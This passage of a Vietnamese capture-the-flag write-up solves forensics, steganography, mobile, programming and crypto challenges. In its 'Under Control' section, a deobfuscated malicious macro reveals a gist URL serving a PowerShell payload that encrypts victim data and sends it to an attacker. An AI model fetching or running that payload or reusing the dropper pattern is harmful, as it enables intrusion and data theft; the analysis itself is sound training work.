tự được padding bới netascii. ![](https://user-images.githubusercontent.com/89141562/252150491-7b29a373-e0f8-4621-b2c2-85f7b73a5c74.png) Tuy nhiên, sau khi chạy script vẫn chưa thể mở được file pdf. Vì vậy mình có search google cách fix pdf bằng linux và tìm được tool `mutool` ``` $ mutool clean out.pdf out_clean.pdf ``` Mở file pdf và ra flag. ![image](https://user-images.githubusercontent.com/89141562/252150535-38b960f8-6b18-4efa-8454-3bd8c3dab55f.png) `CHH{FTP_4nd_TFTP_4r3_b0th_un$af3}` ## Under Control ![](https://user-images.githubusercontent.com/89141562/252199501-cf0d261d-22c2-40a8-90fd-52585574b200.png) Tiến hành extract file xls từ wireshark. Khả năng cao file này chứa macro nên mình tiếp tục sử dụng tool olevba để dump macro ra. ![](https://user-images.githubusercontent.com/89141562/252199662-8fa22b26-6ca5-4b35-8d9c-c7d6742391ad.png) Ở đây, macro đã bị làm rối khá nặng nhưng chỉ thay đổi tên biến và hàm nên chúng ta có thể đặt đại tên để dễ nhìn. ![](https://user-images.githubusercontent.com/89141562/252199959-5a39a0c9-dc89-473e-9cbf-868f33e8b117.png) Để ý đến function obfuscatingStr(), hàm này có vẻ là hàm mapping, chuyển các chuỗi đã làm rối về chuỗi ban đầu như các chuỗi dưới đây: ![](https://user-images.githubusercontent.com/89141562/252200203-adc0138f-e4c5-48e0-b967-1f6c4409a6e4.png) Chúng ta có thể viết một script python nho nhỏ tương tự để dễ dàng xử lý ```py asciiString = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥" obfString = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ" def deobf(s): tmp = '' for i in s: if i in asciiString: tmp += obfString[(asciiString.index(i))] else: tmp += i return tmp print(deobf("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@")) print(deobf("åxi'³P³²ÛP³xP²¿iPQEPk²x")) ``` Kết quả: ``` https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1 Don't try to run me bro ``` Chúng ta lại tiếp tục có một đường dẫn khá lạ, nghi vấn đây có thể là payload hoặc malware được drop về thông qua vb làm trung gian. Truy cập và đây là kết quả: ![](https://user-images.githubusercontent.com/89141562/252200532-baccf220-080f-4247-a532-ab886fae05cf.png) Tiếp tục sử dụng cyberchef như các bài trước để decode base64 ![](https://user-images.githubusercontent.com/89141562/252200638-49861553-39a7-4b7c-a815-f8e40e40b1b0.png) Có vẻ đây là một script encrypt data và truyền qua network sau khi encode base64 tới một website nào đó. ![](https://user-images.githubusercontent.com/89141562/252200788-d69caca0-0f58-4cce-945b-4636680fe10a.png) Chúng ta có thể xem toàn bộ flow khi script được chạy nhưu dưới đây ![](https://user-images.githubusercontent.com/89141562/252201016-c350830f-52cf-4d68-a61c-a8d0a77a936c.png) Deobfucate script một đoạn, ta sẽ có key cũng như là host và port của script ![](https://user-images.githubusercontent.com/89141562/252201250-81f257ca-f39c-47ff-bb07-c339ec2fa559.png) Sử dụng key này để decrypt với iv là 16 byte đầu của data ```py # tshark -r NoStarWhere.pcapng -Y "http" -Tfields -e urlencoded-form.value > post.txt # Dùng lệnh trên để extract http POST data do nó là từ victim truyền tới attacker, chúng ta cần biết attacker đã có được thông tin gì. from Crypto.Cipher import AES import base64 key = base64.b64decode('d/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=') iv = b'' f = open('post.txt','r').readlines() for i in f: if i == '': continue data = base64.b64decode(i.strip()) iv = data[:16] ct = data[16:] cipher = AES.new(key, AES.MODE_CBC,iv) pt = cipher.decrypt(ct) print(pt) ``` Kết quả: ``` b'VALID mrlminhtuan-pc\\ieuser\r\n\n\x00\x00' b'VALID \r\nPath \r\n---- \r\nC:\\Users\\IEUser\\Documents\r\n\r\n\r\n\n\x00\x00' b'VALID \r\n\r\n Directory: C:\\Users\\IEUser\\Documents\r\n\r\n\r\nMode LastWriteTime Length Name \r\n---- ------------- ------ ---- \r\nd----- 6/2/2023 10:13 AM Custom Office Templates \r\n-a---- 5/24/2023 9:36 AM 2100 Calc.txt \r\n-a---- 6/2/2023 3:46 PM 112707 clean.jpg \r\n-a---- 1/3/2022 6:53 AM 843332 Lux.jpg \r\n-a---- 6/2/2023 3:48 PM 345 Math Test.png \r\n-a---- 6/2/2023 3:46 PM 75974 otp.jpg \r\n-a---- 5/24/2023 9:35 AM 427 Todo.txt \r\n-a---- 5/23/2023 4:57 PM 102831 xinomifinancialreport2023.pdf \r\n\r\n\r\n\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x87\xb6\xf9\xa7\x9c\x1f\xb6\xfa\x82\xdb\xb7H\x80\xcd\x8a\x1bVALID 89504e470d0a1a0a0000000d494844520000003a0000003a0800000000c4d015f4000001204944415478dab5968b0ec3200845fdff9feeba7455ee4313c499b46e96e31820b7adc1b8eef1bde3b7715f8c247af5f1408fc930e50d5edb2adafafc2e8e59afc01c456340d8edffa06886c1398bc6475c1218b8655e532856d6fa5ad67002bd64c440609ac8ae80b2530e462084b280faa28b0700b7e63fb28f8e8fd19de822ae9bdf4ba131380ccddacd6fbd806afa19e694416b3d80b2a1066bea701a451730199c03129012ca4d8d0b4e83144ece163a3b465ce8c6fd12aa25a6874e85a586fa06869bb18898e424515d64a9e2a643ad740bf52dc54915b6f21aaa72a042ac1dace77513f5bae75eecb88dd750efac968b29ce12ea5e7ef45818693986aa84f086f442700465c1d4f210d9d844ed816adae844240be8acd8384c3a6fa31f99524e0722949b720000000049454e44ae426082\r\n\n\x00\x00\x00\x00\x00' b'VALID \r\n Max(K) Retain OverflowAction Entries Log \r\n ------ ------ -------------- ------- --- \r\n 20,480 0 OverwriteAsNeeded 3,340 Application \r\n 20,480 0 OverwriteAsNeeded 0 HardwareEvents \r\n 512 7 OverwriteOlder 0 Internet Explorer \r\n 20,480 0 OverwriteAsNeeded 0 Key Management Service \r\n 128 0 OverwriteAsNeeded 48 OAlerts \r\n Security \r\n 20,480 0 OverwriteAsNeeded 3,280 System \r\n 15,360 0 OverwriteAsNeeded 2,495 Windows PowerShell \r\n\r\n\r\n\n\x00\x00\x00\x00\x00\x00\x00\x00\x00 ``` Để ý đến đoạn hex dài ở giữa, đây là đoạn hex với signature là `89504e47` của PNG. ![](https://user-images.githubusercontent.com/89141562/252201737-7e91e0a5-b9c5-4510-b1b8-89d024b0b979.png) Flag là QR code. ![](https://user-images.githubusercontent.com/89141562/252201815-d234ebc5-025d-4d17-825c-7a819f32bde8.png) `CHH{D0n't_w0rRy_n0_st@r_wh3rE}` # Stenography ## CutieK1tty Bài này cho ta một bức ảnh mèo, khi dùng binwalk ta sẽ thấy một file rar trong file ![](https://hackmd.io/_uploads/BJ6_ZBtFn.png) Giải nén ra ta được 2 file ![](https://hackmd.io/_uploads/Sys6Zrtt3.png) File `y0u_4r3_cl0s3.rar` khi chạy qua lệnh `xxd y0u_4r3_cl0s3.rar | head` sẽ thấy tuy có đuôi rar nhưng magic byte của file lại là `Cat!` thay vì `Rar!` ![](https://hackmd.io/_uploads/HJGpzrtth.png) Tiến hành sửa lại 3 byte đầu và giải nén thử sẽ thấy file nén này cần password, vì vậy mình tiếp tục xem file mp3 để tìm password Với file mp3 mình đưa lên spectrogram để xem thử ![](https://hackmd.io/_uploads/Hy5lzStKh.png) Ta sẽ thấy được dòng chữ `sp3ctrum_1s_y0ur_fr13nd`, dùng đoạn text này làm password để giải nén file rar ta được file `f1n4ally.txt` ``` __/| \o.O| _____(___)______ | U |________ __ |ZjByM241MWNzX21h| |__| |_________ |________________|NXQzcg==|::| | / | \._______|::|__| < | \::/ \._______\ | | ``` Decode base64 và wrap bằng format `CHH{}` ta được flag `CHH{f0r3n51cs_ma5t3r}` # Mobile ## Cat Me Bài này khi cài app sẽ thấy hiện lên dòng `Cookie Warrior`, đưa file apk vào jadx và tìm dòng chữ này ta sẽ tìm đến được nơi chứa các phần của chuỗi base64 nghi là flag ![](https://hackmd.io/_uploads/HkQgFSKF2.png) Ghép các phần lại và decode base64 ta được flag `CHH{M0re_1n7ER3STIN9_7h1N6_1N_logcat}` ## Pinned Cookie Bài này intended có lẽ là bypass SSL pinning và capture cookie trong HTTP request, nhưng thật ra chỉ cần decompile file apk với jadx sau đó phân tích thuật toán sinh cookie ở client thì sẽ tìm được flag ![](https://hackmd.io/_uploads/B1T05StF2.png) Tại đây ta thấy gọi đến hàm `y0` với tham số là `sTroN6PaSswORD` và một array gồm các phần của 1 chuỗi base64 ![](https://hackmd.io/_uploads/ByNMsBYFn.png) Nhìn vào logic hàm, chuỗi base64 được decode ra, cùng với chuỗi `sTroN6PaSswORD` tham gia vào thuật toán sinh cookie ![](https://hackmd.io/_uploads/H1ImhrFK2.png) Ta có thể viết lại thành code python như sau ```python import base64 arrayList = [] arrayList.append("MBw6FDd") arrayList.append("ZBT4wRz") arrayList.append("kQMB0jY") arrayList.append("Ec8EUUD") arrayList.append("LQwjPiE") arrayList.append("8LR0TDw") arrayList.append("=") arrayList.append("=") s = '' for i in arrayList: s += i passwd = b'sTroN6PaSswORD' decode = base64.b64decode(s) bArr = [0 for _ in range(len(decode))] for i in range(len(decode)): bArr[i] = chr(decode[i] ^ passwd[i % len(passwd)]) print("".join(bArr)) ``` Chạy lên và ta được flag `CHH{yoU_c4N_bYP45S_sSL_PInninG}` # Programming ## Identity Security Bài này khá căn bản, chỉ cần làm theo chỉ dẫn của đề là được code: ```python num = int(input()) infos = [] for i in range(num): infos.append(input().strip()) for i in range(num): if "@" in infos[i]: [username, domain] = infos[i].split("@") if len(username) <= 7: username = username[0] + "*"*abs(2-len(username)) + username[-1] else: username = username[:2] + "*"*abs(5-len(username)) + username[-3:] infos[i] = username + "@" + domain else: infos[i] = infos[i][:2] + "*"*abs(5-len(infos[i])) + infos[i][-3:] for info in infos: print(info) ``` vì testcase thì các input bị lẫn "\r" vào nên cần phải strip đi, chắc author là người dùng Mac =))) `CHH{1DeNt17Y_SecuriTy_4f674da51aeb9d3e02f047ad084ee2f8}` ## Decrypt Bài này cũng khá căn bản, làm theo như đề yêu cầu thôi code ``` num = int(input()) the_str = input() for i in range(1, num+1): if not (num % i): str_to_rev = list(the_str[:i]) str_to_rev.reverse() rest = the_str[i:] the_str = "".join(str_to_rev) + rest print(the_str) ``` `CHH{pro9R4mmINg_D3CRYPT_a5b6c8ec0199c263ee1c2cbee2853a2b}` # Crypto ## Basic Operator Ta sẽ đi phân tích từng hàm theo thứ tự từ trong ra ngoài, đầu tiên flag sẽ đi qua hàm `padding_pkcs7` để được padding cho length chia hết cho 4 ```python def padding_pkcs7(data,block_size=4): tmp = len(data) + (block_size - len(data) % block_size) return data.ljust(tmp,bytes([block_size-(len(data)%block_size)])) ``` Tiếp đi qua `split_block` để chia data thành các 4 character block, sau đó convert block đó sang bytes với byte order là little endian ```python def split_block(data,block_size): return list(int.from_bytes(data[i:i+block_size],'little') for i in range(0,len(data),block_size)) ``` Từng block sẽ sẽ bắt đầu sử lý như sau, đầu tiên đi qua hàm `plus_func` để thực hiện cộng decimal block đó với `3442055609`, sau đó thực hiện `&` với `0xffffffff` (4294967295). ```python def plus_func(data,shift): return (data+shift)&0xffffffff ``` Tiếp theo đi vào `mul_func`, ở đây cũng giống với `plus_func` nhưng là nhân ```python def mul_func(data,mul): return (data*mul)&0xffffffff ``` Các phép AND cũng có thể được viết lại thành phép mod, ta có bit_length của `0xffffffff` là 32 nên ta sẽ viết lại thành: ``` data*mul % 2**32 ``` Tiếp theo đi vào `xor_shift_right_func`, tại đây sẽ lấy `data^(data>>bit_loc)&0xffffffff` với bit_loc là 1, với hàm này ta có thể đảo lại bằng cách sau Giả sử data đi vào có hệ 2 là `01101001`, và `01101001 >> 1 = 00110100`, ta sẽ có: ``` 01101001 ^ 00110100 = 01011101 ``` Gọi `01101001` là x, ta giả sử không biết x, xor chỉ trả về 1 khi 2 operand khác nhau, và khi shift ta biết bit đầu luôn là 0. ``` abcdefgh ^ 0abcdefg = 01011101 ``` Vậy ta sẽ có a = 0, tiếp theo b ^ a ta thấy = 1, vậy => b = 1... cứ thế đến bit cuối cùng ta sẽ recover được số ban đầu Cuối cùng block sẽ đi qua `exp_func` và `pow_func`, với `exp_func` ta sẽ có `2^data % p` (^ là mũ), với `exp_func` ta sẽ có `data^2 % p`(^ là mũ) Nghĩa là ta sẽ có: `2^(data^2 % p) % p => 4^data % p` vậy 2 hàm này có thể nghịch đảo bằng cách gọi hàm giải `discrete_log` Ta sẽ có code giải như sau: ```python Cipher= [752589857254588976778, 854606763225554935934, 102518422244000685572, 779286449062901931327, 424602910997772742508, 1194307203769437983433, 501056821915021871618, 691835640758326884371, 778501969928317687301, 1260460302610253211574, 833211399330573153864, 223847974292916916557] p = 1341161101353773850779 e = 2 def reversed_linhtinh(data, e, p): return discrete_log(p, data, 4) def reversed_xor(data, bit_log): ls = [0] res = [] for i in str(bin(data))[2:]: res.append(int(i) ^ ls[-1]) ls.append(res[-1]) print(res) res = [str(i) for i in res] return int("0b"+"".join(res), 2) MOD = 2**32 def reversed_mul(data, mul): return data*inverse(mul, MOD) % MOD def reversed_plus(data, add): return (data - add) % MOD ms = [] for i in Cipher: tmp = reversed_linhtinh(i, e, p) print(tmp) tmp = reversed_xor(tmp, 1) print(tmp) tmp = reversed_mul(tmp, 2898124289) print(tmp) tmp = reversed_plus(tmp, 3442055609) ms.append(tmp.to_bytes(4, 'little')) print(b"".join(ms)) ``` `CHH{w3lc0m3_70_7h3_m47h_w0rld(1_h4t3_1t_th3r3)}`